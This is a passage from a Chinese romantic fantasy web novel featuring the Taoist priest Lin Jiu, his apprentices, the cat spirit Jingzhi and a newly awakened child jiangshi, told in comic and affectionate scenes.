话来得太突兀,她愣愣的看了他两眼,突然噗呲一声,笑了出来,“你真是个笨蛋。” 看着他展开的眉心,静之悄悄松了口气,她极速捏了一把他的脸颊,然后转头就跑。 “我去给你泡茶喝!” 林九揉着一点都不痛的右脸,心想,她这是答应了,还是没答应啊? 刚想到这里,就看到厨房门口伸出来一张灿若夏花的笑颜。 “答应你啦!” 林九眉间郁气尽散,心里头突然充满了干劲儿,他朝静之笑了笑,便转头回了书房想招儿了。 第131章 可能是没闻到味儿吧 林九尝试了无数种方法去追寻那个隐藏在幕后的神秘人。 但每当他施展道术时,都会遭遇一股力量的干扰,以至于每一种道术刚刚施行到中途便戛然而止。 这种情况接二连三地发生,使得林九心中愈发笃定: 那个暗中加害他们的家伙必定也是深谙道法之人,其修行造诣可能比他还厉害。 无奈之下,林九只得采用最为耗时费力的办法——挖! 因他深知,既然整个义庄中的人或多或少都受到了迫害,那么在义庄的周边乃至内部院落之中,必然藏匿着某种关键的媒介。 身为众人之首的林九,在这短短几日里简直忙碌到了极点。 他在外院墙和整个庭院里都精心布置下了防御阵法。 与此同时,秋生和文才二人也没有闲着,他们化身为勤劳的“地鼠”,手持锄头,在各个角落奋力挖着。 只见此时,义庄外面约一米范围内的整片土地已被他俩翻掘得面目全非,犹如即将播种的农田般,布满了纵横交错的沟壑和土垄。 “来吧,休息会儿,喝口茶!” 静之端着茶盘放在院门口的台阶上。 秋生和文才累得双颊通红,满额头的汗水打湿了眉毛,都快流进眼睛里了。 就在这时,两条毛巾罩住他们的脑袋。 “擦一擦。” 秋生一把扯下毛巾,随意抹了两把汗水,然后接过她递过来的茶喝了一口。 “凉的?” “不然呢?这么热的天,我泡热茶给你喝?” 秋生嘿嘿一笑,昂起头一饮而尽。 他畅快的哈了一声,叫了声爽~,又把杯子递过来,“再来一杯!” 静之又给他倒了一杯,递给他后,却是悠悠看着他。 …… “看什么?” 一只大手突然围住她的眼,那手上还沾着星星点点的朱砂和符纸碎屑。 手指修长,骨节分明,静之一下就认出来,这是林九的手。 尽管他并非身材特别高大之人,但不知为何,无论是哪一世,他的手总是如此恰到好处地长在了她的审美点上。 “阿九,你忙完啦?” 林九微微用力,将她从台阶上轻柔地拉起身来,随后又贴心地递过来一块长长的木凳,小心翼翼地搀扶着行动略显不便的她缓缓坐下,安顿在屋檐下方。 "嗯,差不多结束了。" 林九轻声回应道,"以我的修为所设下的防御阵,那些实力在我之下的人应该是无法闯入的。" 听到这话,一旁的秋生如释重负般地将手中的锄头随意一丢,大大伸了个懒腰,嘴里嘟囔着: “那这回我们可以放心了!” 林九冷冷一笑,语气严肃地说道: “呵,放心?一日不找到媒介,你们的运势就会一天比一天低,等到运势达到最低点,到时候不用人家打上门,你喝口水都能活活呛死。” “啊?这么严重?”秋生赶紧挑起地上的锄头握在手里。 他指了指正揉着后腰的静之,说: “所以她就是这样摔倒的喽?” 此时的静之,心中可谓是又羞又恼,那张白皙的脸蛋瞬间涨得通红: “你还说!” 林九瞪了秋生一眼,“还不快找?!” 然后回头,一脸担忧地看着她,“都快三天了,你还没好?” 静之手伸到后头摸了摸,突然,一股突如其来的刺痛感从她尾椎骨传来,她触电似的,赶紧放开施力的手。 “嘶~,我觉得我可能摔骨裂了,早知道就不洗澡了。” 林九摸了摸鼻子:“……我抱你进去躺会?” 静之有气无力地应了一声,双手像八爪鱼一样紧紧搂住他的脖子,就等着他把自己抱起来。 林九一只手扶住她的肩膀,另一只手从她的腿弯穿过,一个使劲儿—— “啊,不行不行,放我下来,痛死了!” 林九眉间紧蹙,小心翼翼将她放回椅子上。 一时之间,竟不知道该怎么把她弄回房间里头去。 静之疼得眼泪都在眼眶里打转了,她想了想,说道:“要不试试背我?” 她现在走两步路都隐隐作痛,那步子迈得比八十岁的老太太还抖。 刚说完,林九立马在她身前半蹲下来。 秋生和文才一边锄着地,一边还偷偷回头看他们师父。 文才惊讶地说:“诶,他还真背啊?” 秋生嘴角渐渐勾起:“都这样了,还能有假?” 此时,静之俯身,将整个身子贴住他的背部,林九刚挽起她的腿弯,就又听到静之“哎哟”一声。 “阿九,我还是自己挪回去吧。” 林九一脸愧疚:“……对不起。” 静之牵住他紧握成拳的右手,装作生气似的拍了拍,“对不起我什么,又不是你让我摔跤的。” 他张了张嘴,余光瞥见两个徒弟在一旁偷笑,林九顿时羞恼起来。 “看什么看!今天要是再找不到,你们晚饭就别想吃了!” 牛马一号——秋生小心翼翼地伸头问了一句: “师父,今天您还下厨吗?” 静之站在林九旁边,都能听到他后槽牙磨得嘎吱嘎吱响。 秋生可真是欠儿啊,明知道他师父爱面子,还偏要问。 “阿九,扶我进去啦~” 林九狠狠瞪了秋生一眼,冷哼一声,然后小心翼翼扶着静之的胳膊,带她往里头走。 还没走两步,静之突然想起什么,她回头问秋生: “之前小王爷他爹从地底下跳过来找我的时候,你说了什么啊?” “哦,我想说那个僵尸有灵智了,怕的一些东西,肯定跟我们人一样啊。” 静之顿时来了兴致,“哦?说我是大老虎?还是什么?” 林九缓缓闭上了眼睛,他觉得要完。 秋生话到嘴边,看到他师父突然睁眼射过来的冷光,又闭上了嘴。 他身后的文才却挠了挠头,开口道: “他说你身上沾了粑粑,僵尸就不敢咬你了。” 静之:“……” 林九:“……” 他就说要完。 于是,嘎吱嘎吱磨牙的人变成了静之。 “阿九,晚上不做秋生的饭!” 林九点头,“好。” 是该修理修理他了,什么话都说得出口,他有脸说,他都不敢听。 秋生慌了,“诶,可是我那句很有用啊,他一下就调头走了。” 静之皮笑肉不笑看着他,“哦?那后面为什么又回来追我了?” 文才眼睛亮了,“可能是没闻到粑粑味吧。” 林九:……两个人才,他现在解除师徒关系,还来得及吗? 静之:“……阿九,文才的饭也别做!” 林九:“……好。” 多说多错,盛怒之下的静之惹不得,他还是先答应下来再说。 …… 傍晚时分。 夕阳的余晖透过斑驳的树叶缝隙,洒落在那座古色古香的亭子上。 此时,林九正小心翼翼地盛着一碗鱼汤给静之放到右手边。 曾经,他们总是各自坐在这张长长的木桌两端,中间隔着一段不短的距离。 如今,静之换了个位置,她坐在林九的左手边,近得只要伸手就能触及到彼此。 这种亲近让两人之间的氛围变得愈发微妙和温暖。 “趁热喝,凉了发腥。”林九轻声提醒道,目光温柔地注视着静之。 她点点头,拿起汤匙舀了一小口乳白色的鱼汤送进嘴里。 味蕾尝到味道的那一刻,她的眼睛都亮了,这汤,差点没鲜掉她的眉毛。 她竖起大拇指朝林九比了比,“阿九,你越做越好了,真棒。” 林九笑得有些腼腆:“你喜欢就好。” 静之端着碗,不紧不慢地喝着汤,眼睛亮晶晶地看着他: “喜欢哦。” 说的是汤,也是人。 林九这下听明白了,他赶紧扒拉了几口饭。 又觉得这样好像有点此地无银三百两,就夹了块红烧肉塞进她嘴里,“快吃吧。” 本想让她别说话的林九,完全忘了这筷子自己用过了,而且静之向来很会耍赖。 肉是进她嘴里了,可筷头却被她死死咬住。 “……松开。” 她直勾勾地盯着林九有些慌乱的眼睛,又嗦了一口沾着红烧肉汁的筷尖,然后慢悠悠地往后仰起头,把他的筷子放开,“好啦,松开啦。” “……” 林九觉得,他好像又被调戏了…… 就在静之的眼神快要把林九的脸烧出个洞来的时候,灰头土脸的两个家伙,突然兴高采烈地从院门口跑了进来。 他俩在土里折腾了一天,这一跑,地上到处都是泥土印。 林九的洁癖又开始发作了。 “站在那儿别过来,什么事?” 秋生举了举手中还沾着泥土的几个小稻草人,“师父,找到了!” 第132章 夹子猫猫 “哦?拿过来我看看。” 林九上前几步,接过秋生递过来的其中一个稻草人。 看清全貌的瞬间,一股怒意和后怕在林九眼底深处轮流翻涌滚动,面上却是不显。 原来,秋生递过来的,是写着静之名字的小稻草人。 它的四肢皆扎着几根小针,两肩之间,有一根较粗的木签子直接贯穿小人,穿透到它身后的黄色符纸里。 那小人头上还有一丝白光浮现,林九定睛一看,这不是静之的头发吗? 怎么会被幕后之人拿到了? 他立刻拿了秋生手上的几个稻草人一一检查。 果然,上头或多或少,都有他们贴身的东西,或者毛发。 就在这时,文才兴高采烈的捧着一个叠成三角形的钞票伸到林九面前,“师父,那人还掉了钱,被我给捡到了,我的运气没你说的那么差嘛。” 林九快给他气笑了,他有些忌惮地看了那三角形的纸币一眼,目含警告说: “平时我跟你们交代的,看来你们是一点都没听进去,天上会掉馅饼吗?” 他深呼吸一口气,冷静一下情绪,“借命钱你也敢要,还不丢掉?!” 文才被林九一声急喝吓得一阵手抖,那三角形的纸币差点掉在地上,他手足无措的捧着钱,朝秋生看了一眼。 秋生连连后退,疯狂摆手拒绝,“别给我啊,我还没娶老婆呢,还想多活几年。” “这,这怎么办啊?”文才连声音都在抖,他一下子被林九的话吓得六神无主,只能又回头对上林九的冷脸,问: “师,师父,丢,丢哪里?” 林九:“哪里捡回来的,就丢回哪里。” 他想了想,又朝已经狂奔到门口的文才喊: “丢完马上沐浴更衣,好好给祖师爷上个香!” 文才快速哦了一声,捧着犹如烫手山芋的纸币就朝院子外头奔去。 “阿九,那这些稻草人又要怎么处理?” “把针拔了,然后烧掉,秋生,你来处理。” 秋生点点头,蹲下来刚想拔针,林九突然制止,“等等。” 他怀揣着一丝警惕,拿起一个稻草人细看。 果然不出他所料,那背后之人,既然都能炼制傀儡借刀杀人,怎么会想不到他会挖出这些东西呢。 刚刚文才拿到的东西,也是对他的一个试探吧。 此时,他看着眼前的稻草人,那如发丝细的针上,泛着的一点绿光,陷入了沉思。 到底是谁这么恨他们,非要置他们于死地呢? 林九问:“你刚有被针扎到过吗?” “没有。”秋生摇头,他凑近看了一眼,“师父,有毒啊?” “不管是不是毒,千万别被扎到。” 都发绿了,不是毒,就是蛊。 不管哪一种,能别碰就别碰。 林九思索了一下,赶紧提点一下好奇心重的秋生,“小心驶得万年船,你带上手套再拔。” “对了,拔完以后,把手套一起烧了,多洗两遍手。”他补充道。 秋生:“为什么啊?” “问那么多干什么,赶紧的。” 秋生有些委屈地看了林九一眼,心里吐槽道: 不给饭吃,撅一天地了,还叫他做这做那,还不让问! 他还以为师父有了心上人后,会变温柔一点呢,这不还是老样子嘛。 … 林九当他师父这么久,他撅个屁股,林九就知道他要放什么屁。 他睨了秋生一眼,“还不快去?饭都要凉了。” “师父,你给我们留饭了?”秋生转悲为喜,一双多情的桃花眼瞬间亮了起来。 静之:“当然啊,你师父难不成真会饿死你们啊,他就是嘴硬而已,快去吧。” “那是!”秋生一撩短短的刘海,乐颠颠地跑去工具房找手套了。 静之那直白的话,一下就戳破林九隐晦的心思,让他不禁觉得有些丢脸。 “静之…”走近几步,刚想一脚踩上亭里,却又看到自己手上和身上沾到的一点泥土,他又退了回去。 净了手,又掸干净沾上泥的衣角,这才回到饭桌前。 “阿九,难怪我觉得最近手脚不是很协调呢,洗个澡怎么也不至于摔倒,拔了针,烧了它,我们是不是都能回到以前的样子了?” “是这样没错。”林九有些食不下咽,他转头看着秋生戴好手套撅着腚在那儿拔针,愁眉依旧不展,“不过,这术法一破,背后之人肯定第一时间就会察觉到。” “也就是说,他还会再对我们出手?” “不管会不会,都要随时保持警惕。” “秋生,你跟你姑妈说下,接下来一段日子都住义庄,就别来来回回跑了。” 秋生应了声哦,手拿符纸一扬,火光顿起。 看着地上的稻草人一点一点在火光中燃尽,林九这才转回头,一脸严肃对静之说: “接下来,能少出去就少出去,你修炼的事儿,也该提上日程了。” 静之一脸正经:“行,你让我进你房间修炼,最好能坐在你床头。” “……?” 林九脸上严肃的表情差点绷不住,“……为什么?” 静之一副公事公办的样子,两手一摊: “呆在你身边修炼速度快呀,所以我一开始遇见你的时候,不是去你房间修炼了嘛。” 说到这个,她突然想起她化成猫身蹲他胸口修炼,结果被他一顿好打的事儿。 她一挑眉,看着静默了半晌的林九问: “你不愿意啊?那我委屈一下,贴着我房间的床头修炼也是可以的,就是效果差点,吸收灵力的速度慢点,有人想抓我的话,我只能……洗干净脖子等着喽。” 林九一时竟不知道她是不是在开玩笑,但他确实不敢赌这个万分之一。 他闭了闭眼,终于微微点头,答应让她进入他的房间。 然而,不知道是怕她把持不住,还是怕他自己把持不住,于是提了个条件,“你变成原型再进来。” 静之一双充满欢喜和期待的美眸瞬间变成死鱼眼,“……知道啦,真是的……” …… 秋生处理完那些稻草人后,也不知道是不是心理作用,静之甚至觉得尾椎都没那么疼了。 她就说她恢复能力一直很好的,怎么可能痛这么久还不好。 饭后洗漱完,她挪着小步子跟着林九,眼瞅着他推开房门走了进去,她赶紧跟上。 刚跨进一脚,一只手就拦在门前。 “刚刚说好的。” 静之可怜巴巴地捂着尾椎骨,糯糯地撒娇道:“阿九~先让我进去嘛,干站着也痛。” 林九这回跟不近女色的和尚一样,自制力强得惊人,“不行,先变回去,再进来。” 她回头看了看亭子里点上烛火吃饭的两人,又转回来看向林九,“就在这儿变?这不好吧。” 林九:“我看这儿就挺好。” 静之:“我变身……是不穿衣服的哦,若是变小期间,不小心被他们看到什么……” 话还没说完,林九立马改口,并放下手,“……你进来。” “嘿~” 静之被他扶着,走进了这个她只来过两次的房间。 她好奇地四处打量着,经过桌前,刚想一屁股坐到椅子上,林九脚步未停,径直把她带到了最右侧的屏风后头,“就在这儿变。” 说话间,他放开她,脚步匆忙,去关了门和窗。 变变变,就知道叫她变,静之心里直嘀咕着。 “静之?” 望着屏风里还呆呆站着的那个窈窕身影,他知道她有些不情愿,但这不是没办法嘛,林九不禁又催促一声。 私人领地被踏入,第一次的时候,他是极为生气的。 第二次,他做噩梦,她进来的时候,他是慌乱的。 这一次,他却是害羞中又带着些欣喜,但是又不敢唐突她,这种想靠近,又要忍耐的心情,都快将他逼疯了。 催促完,他索性转过头,背着屏风坐着。 等待了许久,就在林九以为她反悔不变的时候,他的腿上突然被什么东西拍了拍。 林九低头一看,一只浑身雪白的长脚绒猫正抬着头,拿那双圆溜溜的剔透猫瞳看着他,它的一只前爪还搭在他的下摆上,几条尾巴绕到前头,跃跃欲试地想卷住他的脚踝。 林九下意识把脚朝凳子底下别了别。 “……哼,帮我把屏风后的衣服收起来。” 变猫以后,她的声音变得更细更轻了,就连那声轻哼,都好像是在冲他撒娇。 林九默默红了脸,胡乱点点头,他小心避开那几条勾勾搭搭的猫尾巴,脚步匆匆躲到屏风后。 见她没跟过来,林九竟还松了口气,心里却又莫名的失落。 察觉到这份失落的时候,林九都对自己无语了,随即又暗暗觉得他的提议甚好。 他俯下身子把掉落到地上,还带有余温的衣服一一捡起。 当捡到她的裙子,猝不及防露出底下的贴身衣物时,林九愣了两秒后,瞬间闭紧双眼,脑子里直接被四个大字刷屏—— 【非礼勿视非礼勿视非礼勿视!】 “阿九?怎么这么久?” 林九脸红得都快滴出血了。 他甚至应不出一句话,只是拿两根微微颤抖的手指轻轻捏起那片柔软的布料,然后迅速用手中的外衣将它包起。 捡完这件,最底下那条纯白色的亵裤就赤裸裸的暴露在他眼前。 林九只觉得脑子里好像轰的一声响,热得就快要七窍生烟了。 这,这…… “阿九?再不出来我进去了哦。” “来,来了!” 林九伸出紧张到微微湿润的两指,极速捻起地上的裤头一把裹进她的衣裙里,这才从屏风后走了出来。 “捡个衣服而已,你脸这么红干嘛?” “你修炼吧,我把衣服放回你房间。” “放回去干嘛,就放你柜子里呗,我到时候化形回来的时候方便穿呀。” “…?…”一想起她的衣服要被放进自己的衣柜里,林九觉得,这种私人领域被闯入的感觉,又更具象化了一点。 “不合规矩,我还是……” “阿九~快点嘛,我尾椎疼,你抱我到床上去,我跳不上去~” 静之这两声夹得她自己都有些犯恶心,但见他居然都开始提规矩了,她只能使劲儿夹。 终于…… 林九停住了。 他的脚如同生了根一般,死死钉在了房门口,“……好,就放我这里。” 他好似慢了半拍,回答了她前一个问题。 “阿九?还站在那儿干嘛,快点儿呀~” 林九:……他怎么觉得,他做了个错误的决定,不应该放她进来的…… 第133章 带香味的胰子 义庄在郊外,夜晚静悄悄的,秋季连蝉鸣蛙叫都渐渐消失了,只能偶尔听到一两声夜枭声。 秋生和文才干了一天体力活,早就洗洗睡了。 唯有林九房门传来绵软如蜜的女声,还有林九怕惊扰到两个徒弟,压得极低的嗓音。 一床被子,一人一猫盖。 林九平躺着,静之几经争取,终于夺得林九手臂一只。 此时此刻,她的猫下巴枕着林九的上臂,两撇白色的小胡须一动一动的,啧巴了两下嘴,一只粉嫩柔软的肉垫突然搭上林九左眼的眼皮。 “你睡嘛,我就在这儿修炼了。” “……” 她这是真修炼,还是真睡觉啊? 林九没有动弹,身体反而越来越僵硬,忍了一会儿,实在忍无可忍。 他撩开衣服下摆,将暗戳戳缠在他腰上磨蹭,还意图溜到他胸口作乱的尾巴抽出来。 “再这样,你就出去。”他斥责着,但是一点说服力都没有,声音里尽是无奈,还带着一点沙沙的感觉。 “……好嘛,回来好几天了,连个亲亲都没有,拉个手都没空,现在还叫人家变成原形,你是不是不喜欢我了?” 林九垂下眸子,凝视着那对黑暗中泛起水光,亮晶晶的,显得格外可怜的猫瞳,终是狠不下心。 “不是,这两天都忙。” 他rua了两把她柔软顺滑的背毛,又向前rua了一把她Q弹的耳朵,本想亲她圆圆的小脑袋一口,但是这一rua……就停不下来了。 直到静之喉咙里发出舒适的咕噜咕噜声,那双猫瞳里浮上意犹未尽,和些许笑意时,林九才讪讪停手。 “是不是很好摸?让我进你房间不亏吧!” 林九不争气地又红了脸,他把头撇到左边,低声说:“好了,再不修炼就该睡觉了。” “……嘁,你睡嘛,我修炼。” “尾巴不许再作怪。”他红着耳朵交代。 毕竟位置特殊,她的毛发又过于柔软,还带着她丝丝温热的体温,林九被她这一通乱卷乱缠,搞得头皮直发麻,哪里还能安然入睡。 “……真不用我帮—” “要不你出去。” “我修炼,我开始修炼了哦,你快睡!” 她要是不撩他,他早都睡了。 林九深深地叹了口气,有个过于主动的未婚妻,也不知是幸还是不幸…… …… 直到她灵力开始运转的那一刻,林九才知道她真的没有说谎。 他看不到什么灵力,但却能感觉到周边好像有一股气萦绕在她的周围,钻入了她的体内,连贴在她身边的他也跟着受益。 仿佛身上每一个细胞都被洗涤,放在温度适宜的水里浸泡,林九紧绷的身体开始放松,舒适得有些昏昏欲睡。 这还是他四十几年来,第一次这么快入睡。 他一夜好眠,静之同样也受益匪浅。 以往在隔壁间,吸收灵力的速度不仅缓慢,还跟断网似的,一卡一顿。 今晚在他怀里修炼,信号直接满格,灵力畅通无阻,源源不断流入她的筋脉。 尽管是这儿空气中的灵力稀薄,但她仍然攒了一点出来,就犹如突然换了个极速充电头一般,一下就充满了百分之十。 她甚至还有空余的灵力,用来治疗一下她可怜的尾椎骨…… …… 窗外几声清脆的鸟鸣,唤醒了沉睡中的林九,他微微睁开眼皮,侧头看了看外面的天色。 却看到耀眼的阳光已透过半开的窗户洒了大片进来。 他这是…睡到什么时候了? 又一回头,就看到静之已经化为人形穿好衣服,正捧着脸,趴在他旁边笑吟吟地看着他。 见他睁开眼睛,她的小腿甚至开心的往上翘了翘。 雪白匀称的小腿落入他眼中时,林九赶紧挪开视线。 “阿九,都九点了,你今天睡得可真久。” 她又调皮地伸出手摸了摸他高挺的鼻梁,“我就说吧,让我进来,对你有好处。” 静之搓了搓手指头上的灰,讪讪笑了一下。 林九有些不明所以。 他感受了一下自身状况,发现神清气爽,脑袋一片清明。 以往都是他晨练完才有这种状态,现在可倒好,睡醒就有了。 就是……他怎么觉得,空气中好像弥漫着一股臭味。 不是很确定,他偷摸瞟了静之一眼,见她还直勾勾的盯着他瞧,他干脆撩起被子盖住他的脑袋,抬手轻嗅了一下胳膊。 额……真是他。 而且被子里的味道更浓了。 她,她没闻到吗? 为什么还能笑得这么开心? 她不嫌弃吗? 林九满心疑问,又觉得十分尴尬,一时之间,竟不敢撩下被子对上她的眼神。 就在这时,被子被轻轻拍了拍,“阿九,是正常的,我吸收灵力带动的气旋会把一部分灵力带进你身体里,就跟洗经伐髓一样,不过速度比较慢,都跟你说让我进来有好处吧。” “你放心啦,你就排出了一点杂质而已,才会有些臭臭的,过一段时间就好了。” 见他还不动,静之又拍了拍他,“出来啦,热水已经给你放到屏风后头了,衣服也给你拿好了,洗个澡呗,不然水真凉了。” “……嗯,谢谢。”林九闷闷应了一声,又赶紧指了指门外,“你先出去。” “……好吧,那你快点哦。” 直到听到开门,又关门的声音,林九才把憋红的脸放出被子外。 实在是……太丢人了。 他一辈子没这么臭过。 走入屏风后,看着那个从浴室搬过来的大浴桶,和冒着丝丝热气的大半桶水,林九不禁啧了一声。 他这是睡得有多死,静之搬这玩意儿他居然一点儿都没发现。 不行,必须提高警觉度。 “阿九,浴桶旁边的胰子给你用,是新的。”门外突然传来她的声音,莫名的,他能从她的声音里听出一点期待。 她在期待什么? 林九应了声好,便脱了衣服跨进浴桶里,拿起胰子,他下意识凑到鼻子旁边轻嗅一下。 有香味的胰子啊,好像有些娘了。 不过闻到自身臭味,他还是选择用了。 …… 洗完澡穿好衣服后,林九愣愣地看着镜子里面的自己。 他侧了侧头,打量一下他微湿的头发。 话说,他这鬓角头发是不是黑了一点。 “叩叩叩!” “阿九?还没好啊,早饭都给你盛出来了,再不出来,你就要赶上午饭了!” 算了,反正事情是在往好的方向发展不是吗? 林九不再纠结,将身上的衣服理得板板正正的,这才走过去开门。 刚打开门,静之一个猛牛冲撞,就将林九连人带手抱了个满怀。 “阿九,你好香啊,现在你的味道跟我的一样了!” 林九不是很在意自己是什么味道,不臭就行。 但是看她喜得眉梢都高高扬起的样子,他心头一阵柔软。 算了,有香味的胰子,也不是不能接受。 …… 这种温馨的气氛,只持续到今天半夜。 林九又舒服得睡着了,静之乐了一天,这会儿连修炼的时候,毛毛的小猫嘴角都是向上翘起的。 “嘭!” 林九今晚长了个心眼,一听到声音,他唰的一下睁开眼睛,倒是把中断修炼的静之吓了一跳。 “……你醒了?” 林九立刻翻身下床,“有声音,我出去看看。” “我也去!” 林九回头有些一言难尽,“你……伤好了?” “屁股”二字,他实在说不出口。 静之快速点点头,“差不多了,其实秋生把针拔了以后,我就感觉有些好转了,现在正常走路不成问题。” “……好,你穿好衣服再出来。” “行!” …… 林九燃起桌上的油灯,然后提着灯,放轻脚步走出房门。 刚关上门,就听到停尸房处,又突然传来一阵噼里啪啦响。 林九几乎是用跑的,一路冲到停尸房前,却发现大门敞开,里面空无一人。 不是秋生和文才胡闹,那又会是谁? 他一颗心渐渐提起,提着昏黄的油灯,踏入漆黑的停尸房,率先走到祭坛前拿了他的桃木剑,这才踏入放置棺材的区域寻找线索。 “咔嚓。” 林九挪开脚一看,是一根长条形的木块。 他放低油灯细看,这才发现地上有一些木头碎片。 这木头,呈疏条状,倒是有些眼熟。 是……栏杆?! 他刚抬起头看向二楼阁楼处,就听到了一声咆哮自后头传来。 第134章 啾啾啾! “阿九,我抓住啦!” “啊啊啊!” 大声却并不恐怖。 声音 tree tree的。 是个小孩。 静之卷着尾巴把他转到正面一看,“是小雨!阿九,他牙齿变长了耶!指甲也是。” 小雨被秋生和文才换上了清朝官服,不过是小孩版,看上去还颇有几分可爱。 此时,他即使被卷到空中,也伸长了手朝静之抓来,两只小短腿还一蹦一蹦的,一看就是变僵尸了。 听闻此话,林九赶紧上前两步,把灯递给静之,然后反手就是一张定身符贴在小雨头上。 按下他平举着的手后,又掐着他的咯吱窝把他抱在墙角。 “怎么会呢?”林九低声呢喃,他回头仔细观察停尸房的各个窗户,都闭的紧紧的。 林九往外走了两步,抬头看了看二楼阁楼处,“啧,漏了房顶的通风口了。” 静之俯下身,拿林九的烟斗掀开一点符纸,仔细地观察小雨的变化。 之前他刚死的时候,最多就脸色惨白,现在死了好几天了,他浑身白得像涂了三斤面粉,就是两个眼圈乌黑乌黑的,就跟血瘀住了一样。 小孩尸,连四颗犬牙都小小的,也不知道能不能给她咬破皮哦。 静之的手跃跃欲试,左手戳完小雨圆圆的脸蛋,就妄图摸摸他的牙试一下锋利度,还没摸上呢,右手提着油灯的手突然一阵刺痛。 “嘶,怎么有根铁丝?” 静之换了一手提,把流血的手指塞进嘴里吮着。 “你离他远点,他刚晒了月光,魔性大发,就算是小僵尸,也是没有人性的。” 静之回头一看,林九已经爬到梯子上,正伸长了手,去关那屋顶的天窗。 “你小心点,我帮你扶!”静之噔噔噔赶紧跑上楼。 此时此刻,静之没有发现的是,她不小心滴落在符纸后头的血,随着符纸落下,一点一点抹在小雨的唇上,然后渗了一点进去…… 两人关好窗户下楼一看,一张带血的符纸飘零着,慢悠悠的滑落到林九脚边。 那墙角哪里还有尸,连根僵尸毛都没有。 “去哪里了?” “快找。” 突然二人后脖颈一凉。 战斗的本能令他们不约而同极速弯下腰,躲避开由脑后攻来的一击。 随着一阵脆脆的叫声响起,有个东西从他们脑袋顶上跳过,直直落到了他们跟前。 小雨小小的鼻子轻轻耸动着。 只觉得面前这两人一个赛一个的香,香得他都不知道先吃谁好。 左边那个好严肃,看上去就背了几条尸命的样子,还有胡须。 右边这个,细皮嫩肉,面白无须,脖颈修长,看起来就很好咬的样子。 就她了! 两只小爪子刚伸出去,静之就一手抵住他的脑门,任由他在自己手臂底下划拉着。 “小屁孩,挑我?你选错人了!” 小雨:*&*#* 皇家翻译:【旁边那个我也不敢打呀!只能打打菜鸡才不会饿肚子吼……】?(?????? ?) “阿九,他说啥呀?” 见他一顿嚷嚷,一张小嘴不停叭叭,说的话静之一个字都听不懂,她只能求助于不知道在灵坛前做什么的林九。 林九紧闭双唇。 他觉得他还是不要说的好,她听了肯定又会生气了。 “……你让开,让我处理。”话题拐得极其生硬,以至于让静之暗下决心,等天亮了,就去找秋生借他的僵尸语录过来学习学习。 她在这个世界就没几天好日子过,大大小小遇到的尸,都能组成个足球队了。 知己知彼,才能百战百胜! 她退开一步,收回手掌力道。 刚一放开,小雨就不死心的往她那边蹦,刚离地一厘米,林九就一把将他举起来挂在墙上的挂钩上。 小雨:……我这么不堪一击的吗? 静之:不是你太弱,是他太强。 小雨好像知道林九是他的克星,挂在墙上后,他一直在抖,还一直避开林九伸过来的手。 “阿九,他有灵智?” 林九反手又是一张定身符将他定住。 “不应该啊。”突然,他看到小雨的唇瓣有些不正常的红,于是轻轻捏开他的嘴唇一看,“怎么有血?” 静之悻悻伸出大拇指给他看,“油灯提手这里有铁丝嘛,我不小心刮到了,估计是那时候溅上去的。” 林九:“……你小心些。” 说话间,他另一手拿起沾满朱砂的毛笔,在小雨脖颈乃至下巴,从下到上,点了三个点,然后又拔出两根沾满朱砂的狼毫放在小雨鼻间令其吸入,紧接着,他把笔横放,卡进小雨嘴边咬着。 几乎就在他刚刚完成这个动作的瞬间,令人惊奇的一幕发生了。 小雨的嘴巴犹如泄气的皮球一样,猛地朝外喷出一股白色烟雾。 “阿九,你这是干什么?” 边问,她还上手撩了一把那阵轻烟,“嘶,好冰,这什么?” 林九赶紧把她的手握回手里,轻轻哈了两口气暖着,又没好气地瞪了她一眼,“什么都敢玩,这是僵尸体内的阴煞之气,能不冰吗?” 看到她此刻的表情,林九有些无语,“笑什么?” 他说她,还给她说笑了? 静之任他搓着自己冰凉的指尖,笑眯眯的摇头。 “阿九,他蔫吧了。”她突然惊呼一声,看着在墙上做立位体前屈的小雨,眼里满是惊讶。 林九啧了一声,赶紧把朱砂笔抽掉,又把小雨抱下来,放到桌子上坐好。 刚放上去一秒,他就跟三天不浇水的青菜一样,全身瘫软得往旁边倒去。 静之赶紧伸手扶正他,却被他浑身冰凉的体温冻得一个哆嗦,“僵尸不是应该硬邦邦的吗?怎么会软成这样?” “阴气放太多了,你扶好。” 说罢,他转身拿了西红柿过来安在小雨嘴边,然后一把揭开他额前的符。 刚一揭开,小雨完全不理那个西红柿,而是转头试图啃一口近在咫尺的雪白脖颈。 林九以迅雷不及掩耳之势,又把符纸贴了回去,他点了点小雨额头,“我知道你听得懂,是她助你开了神智,你倒好,不感谢她,还想吃她,要不要我一剑送你去轮回。” 边说着,他拿起神像前供着的金钱剑默念咒语,那剑被他加持过以后,不仅光芒大盛,而且还自动往有阴气的地方射去。 小雨觉得,如果他能尿尿的话,这会儿看着悬停在他双眉之间的金钱剑时,他裤子应该都湿透了吧。 林九看着他惊恐的眼神,叫静之走开一点后,又把符纸给他揭开了。 “啾啾!”小雨赶紧说。 “他叫毛啊?”静之皱眉。 “啾啾!”小雨又对着林九叫。 “?” “……”林九眼神闪烁,把两个西红柿放在小雨手上,“自己吃,除了这个,没别的吃了。 我可告诉你,吸血,是不可能的,也别想出义庄,你若踏出一步,你这条尸命就没了。” 小雨脸上肉都硬了,做不出任何表情,只能直着脖子朝林九鞠躬几下,表示知道了。 …… “走,我带你去敷点药就睡吧。”林九牵着静之转身就走。 “喂,阿九,就这么给他放在停尸房啊?不给他定住?” 静之回头看向屋内。 只见小雨捧着两个西红柿,一双有了神智后乌溜溜的眼睛,眼巴巴的看着他们的背影,见她回头以后,他还啾啾两声,像个招财猫一样,朝她招了招手。 “对他来说,不一定是坏事,且先放一晚上看看。” 出门后,以免他惊扰到秋生和文才,林九把门从外面锁死。 此时,静之的眼里充满了好奇,“阿九,他刚刚一直啾啾啾,啾什么啊?我回头的时候,他又啾了两声。” 林九:“……擦药。” 静之跺脚,“你说不说?” 林九:他实在说不出口,太难为情了。 静之腰一叉,“好好好,你不说?我这就去秋生房间找他要僵尸语录!” 刚转身还没走两步,静之的后脖颈处就被点了两下,然后视线慢慢变矮,直到看到了他的鞋子,和白色的裤脚。 “!!!” “阿九,我怎么突然变回原形了?你对我做了什么?” 地上的猫猫被她的中衣罩住了,林九趁她还没钻到衣服外头,赶紧连衣带猫,一把夹到腋下,快步带回房里。 几分钟后。 林九正捏着她的小肉垫子,给她上药,静之的另外一只爪子却在他脖间的大动脉处比比划划。 “说不说?再不说,我这一爪子下去,你就成人体喷泉了。” 林九往下瞄了一眼,呵了一声。 猫指甲都没伸出来,一点威慑力都没有。 “笑屁!”见他打定注意不说,静之换了种方法——怀柔政策。 